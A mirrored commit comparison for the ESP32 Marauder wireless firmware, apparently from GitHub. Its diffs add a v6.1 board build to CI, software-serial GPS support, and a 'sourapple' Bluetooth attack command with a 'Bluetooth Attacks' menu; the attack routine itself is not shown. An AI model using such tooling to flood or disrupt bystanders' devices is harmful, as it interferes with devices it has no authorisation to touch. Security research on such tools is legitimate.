mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-18 10:29:11 -08:00
Compare commits
10 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
370b2aa6c5 | ||
|
|
5f01e3030b | ||
|
|
33b5a6481c | ||
|
|
06e6cdb8cd | ||
|
|
5f53e32f8e | ||
|
|
1d6ff6f911 | ||
|
|
ad6addf3df | ||
|
|
c788ad6681 | ||
|
|
06ede5272d | ||
|
|
b8620e1bd3 |
83
.github/workflows/build_push.yml
vendored
83
.github/workflows/build_push.yml
vendored
@@ -121,6 +121,13 @@ jobs:
|
|||||||
ref: v1.3.3
|
ref: v1.3.3
|
||||||
path: CustomLinkedList
|
path: CustomLinkedList
|
||||||
|
|
||||||
|
- name: Install EspSoftwareSerial
|
||||||
|
uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
repository: plerup/espsoftwareserial
|
||||||
|
ref: 8.1.0
|
||||||
|
path: CustomEspSoftwareSerial
|
||||||
|
|
||||||
#- name: Search for SD lib in arduino-esp32 v2.0.4
|
#- name: Search for SD lib in arduino-esp32 v2.0.4
|
||||||
# run: |
|
# run: |
|
||||||
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
|
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
|
||||||
@@ -174,6 +181,18 @@ jobs:
|
|||||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||||
done
|
done
|
||||||
|
|
||||||
|
- name: Configure configs.h for Flipper Zero WiFi Dev Board
|
||||||
|
run: |
|
||||||
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ \/\/#define MARAUDER_FLIPPER/ #define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||||
|
|
||||||
- name: Build Marauder for Flipper Zero WiFi Dev Board
|
- name: Build Marauder for Flipper Zero WiFi Dev Board
|
||||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||||
with:
|
with:
|
||||||
@@ -226,6 +245,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ \/\/#define MARAUDER_V4/ #define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ \/\/#define MARAUDER_V4/ #define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -250,6 +270,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ \/\/#define MARAUDER_V6/ #define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ \/\/#define MARAUDER_V6/ #define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -284,6 +305,29 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||||
|
|
||||||
|
- name: Configure TFT_eSPI and configs.h for Marauder v6.1
|
||||||
|
run: |
|
||||||
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ \/\/#define MARAUDER_V6_1/ #define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||||
|
|
||||||
|
- name: Build Marauder for v6.1 Marauder
|
||||||
|
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||||
|
with:
|
||||||
|
sketch-names: esp32_marauder.ino
|
||||||
|
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||||
|
extra-arduino-cli-args: "--warnings none"
|
||||||
|
|
||||||
|
- name: Rename v6 Marauder bin
|
||||||
|
run: |
|
||||||
|
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||||
|
|
||||||
- name: Configure TFT_eSPI and configs.h for Marauder Kit
|
- name: Configure TFT_eSPI and configs.h for Marauder Kit
|
||||||
run: |
|
run: |
|
||||||
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||||
@@ -291,6 +335,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -315,6 +360,7 @@ jobs:
|
|||||||
sed -i 's/^ \/\/#define MARAUDER_MINI/ #define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ \/\/#define MARAUDER_MINI/ #define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -337,6 +383,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -359,6 +406,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -385,6 +433,7 @@ jobs:
|
|||||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||||
|
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||||
@@ -442,12 +491,12 @@ jobs:
|
|||||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||||
retention-days: 5
|
retention-days: 5
|
||||||
|
|
||||||
#- name: 'Upload v6_2 Artifact'
|
- name: 'Upload v6_1 Artifact'
|
||||||
# uses: actions/upload-artifact@v3
|
uses: actions/upload-artifact@v3
|
||||||
# with:
|
with:
|
||||||
# name: esp32_marauder.v6_2.bin
|
name: esp32_marauder.v6_1.bin
|
||||||
# path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
|
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||||
# retention-days: 5
|
retention-days: 5
|
||||||
|
|
||||||
- name: 'Upload Kit Artifact'
|
- name: 'Upload Kit Artifact'
|
||||||
uses: actions/upload-artifact@v3
|
uses: actions/upload-artifact@v3
|
||||||
@@ -556,17 +605,17 @@ jobs:
|
|||||||
asset_content_type: application/bin
|
asset_content_type: application/bin
|
||||||
if: github.event_name != 'pull_request'
|
if: github.event_name != 'pull_request'
|
||||||
|
|
||||||
#- name: Upload v6_2 Asset
|
- name: Upload v6_1 Asset
|
||||||
# id: upload-v6-2-release-asset
|
id: upload-v6-1-release-asset
|
||||||
# uses: actions/upload-release-asset@v1
|
uses: actions/upload-release-asset@v1
|
||||||
# env:
|
env:
|
||||||
# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
# with:
|
with:
|
||||||
# upload_url: ${{ steps.create_release.outputs.upload_url }}
|
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||||
# asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
|
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||||
# asset_name: esp32_marauder.v6_2.bin
|
asset_name: esp32_marauder.v6_1.bin
|
||||||
# asset_content_type: application/bin
|
asset_content_type: application/bin
|
||||||
# if: github.event_name != 'pull_request'
|
if: github.event_name != 'pull_request'
|
||||||
|
|
||||||
- name: Upload Kit Asset
|
- name: Upload Kit Asset
|
||||||
id: upload-kit-release-asset
|
id: upload-kit-release-asset
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
||||||
<!---Shields/Badges https://shields.io/--->
|
<!---Shields/Badges https://shields.io/--->
|
||||||
|
|
||||||
# ESP32 Marauder v0.12.1
|
# ESP32 Marauder v0.13.0
|
||||||
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
||||||
|
|||||||
@@ -249,6 +249,7 @@ void CommandLine::runCommand(String input) {
|
|||||||
// Bluetooth sniff/scan
|
// Bluetooth sniff/scan
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
Serial.println(HELP_BT_SNIFF_CMD);
|
Serial.println(HELP_BT_SNIFF_CMD);
|
||||||
|
Serial.println(HELP_BT_SOUR_APPLE_CMD);
|
||||||
#ifdef HAS_GPS
|
#ifdef HAS_GPS
|
||||||
Serial.println(HELP_BT_WARDRIVE_CMD);
|
Serial.println(HELP_BT_WARDRIVE_CMD);
|
||||||
#endif
|
#endif
|
||||||
@@ -771,6 +772,18 @@ void CommandLine::runCommand(String input) {
|
|||||||
Serial.println("Bluetooth not supported");
|
Serial.println("Bluetooth not supported");
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
|
||||||
|
#ifdef HAS_BT
|
||||||
|
Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
|
||||||
|
#ifdef HAS_SCREEN
|
||||||
|
display_obj.clearScreen();
|
||||||
|
menu_function_obj.drawStatusBar();
|
||||||
|
#endif
|
||||||
|
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||||
|
#else
|
||||||
|
Serial.println("Bluetooth not supported");
|
||||||
|
#endif
|
||||||
|
}
|
||||||
// Wardrive
|
// Wardrive
|
||||||
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
|
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
|
|||||||
@@ -77,6 +77,7 @@ const char PROGMEM SSID_CMD[] = "ssid";
|
|||||||
|
|
||||||
// Bluetooth sniff/scan
|
// Bluetooth sniff/scan
|
||||||
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
|
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
|
||||||
|
const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||||
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
|
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
|
||||||
const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
|
const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
|
||||||
|
|
||||||
@@ -122,6 +123,7 @@ const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
|
|||||||
|
|
||||||
// Bluetooth sniff/scan
|
// Bluetooth sniff/scan
|
||||||
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
|
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
|
||||||
|
const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||||
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
|
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
|
||||||
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
|
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
|
||||||
const char PROGMEM HELP_FOOT[] = "==================================";
|
const char PROGMEM HELP_FOOT[] = "==================================";
|
||||||
|
|||||||
@@ -6,11 +6,19 @@ char nmeaBuffer[100];
|
|||||||
|
|
||||||
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
|
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
|
||||||
|
|
||||||
HardwareSerial Serial2(GPS_SERIAL_INDEX);
|
#ifndef GPS_SOFTWARE_SERIAL
|
||||||
|
HardwareSerial Serial2(GPS_SERIAL_INDEX);
|
||||||
|
#else
|
||||||
|
EspSoftwareSerial::UART Serial2;
|
||||||
|
#endif
|
||||||
|
|
||||||
void GpsInterface::begin() {
|
void GpsInterface::begin() {
|
||||||
|
|
||||||
|
#ifndef GPS_SOFTWARE_SERIAL
|
||||||
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
|
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
|
||||||
|
#else
|
||||||
|
Serial2.begin(9600, SWSERIAL_8N1, GPS_TX, GPS_RX);
|
||||||
|
#endif
|
||||||
|
|
||||||
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
|
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
|
||||||
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
|
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
#define GpsInterface_h
|
#define GpsInterface_h
|
||||||
|
|
||||||
#include <MicroNMEA.h>
|
#include <MicroNMEA.h>
|
||||||
|
#include <SoftwareSerial.h>
|
||||||
|
|
||||||
#include "configs.h"
|
#include "configs.h"
|
||||||
|
|
||||||
|
|||||||
@@ -494,6 +494,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
|||||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
||||||
|
(wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
|
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
|
||||||
@@ -550,6 +551,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
|||||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
||||||
|
(wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||||
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
|
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
|
||||||
@@ -1073,6 +1075,7 @@ void MenuFunctions::RunSetup()
|
|||||||
|
|
||||||
// Bluetooth menu stuff
|
// Bluetooth menu stuff
|
||||||
bluetoothSnifferMenu.list = new LinkedList<MenuNode>();
|
bluetoothSnifferMenu.list = new LinkedList<MenuNode>();
|
||||||
|
bluetoothAttackMenu.list = new LinkedList<MenuNode>();
|
||||||
|
|
||||||
// Settings stuff
|
// Settings stuff
|
||||||
generateSSIDsMenu.list = new LinkedList<MenuNode>();
|
generateSSIDsMenu.list = new LinkedList<MenuNode>();
|
||||||
@@ -1095,6 +1098,7 @@ void MenuFunctions::RunSetup()
|
|||||||
wifiAttackMenu.name = text_table1[21];
|
wifiAttackMenu.name = text_table1[21];
|
||||||
wifiGeneralMenu.name = text_table1[22];
|
wifiGeneralMenu.name = text_table1[22];
|
||||||
bluetoothSnifferMenu.name = text_table1[23];
|
bluetoothSnifferMenu.name = text_table1[23];
|
||||||
|
bluetoothAttackMenu.name = "Bluetooth Attacks";
|
||||||
generateSSIDsMenu.name = text_table1[27];
|
generateSSIDsMenu.name = text_table1[27];
|
||||||
clearSSIDsMenu.name = text_table1[28];
|
clearSSIDsMenu.name = text_table1[28];
|
||||||
clearAPsMenu.name = text_table1[29];
|
clearAPsMenu.name = text_table1[29];
|
||||||
@@ -1371,6 +1375,9 @@ void MenuFunctions::RunSetup()
|
|||||||
this->addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
|
this->addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
|
||||||
this->changeMenu(&bluetoothSnifferMenu);
|
this->changeMenu(&bluetoothSnifferMenu);
|
||||||
});
|
});
|
||||||
|
this->addNodes(&bluetoothMenu, "Bluetooth Attacks", TFT_RED, NULL, ATTACKS, [this]() {
|
||||||
|
this->changeMenu(&bluetoothAttackMenu);
|
||||||
|
});
|
||||||
|
|
||||||
// Build bluetooth sniffer Menu
|
// Build bluetooth sniffer Menu
|
||||||
bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
|
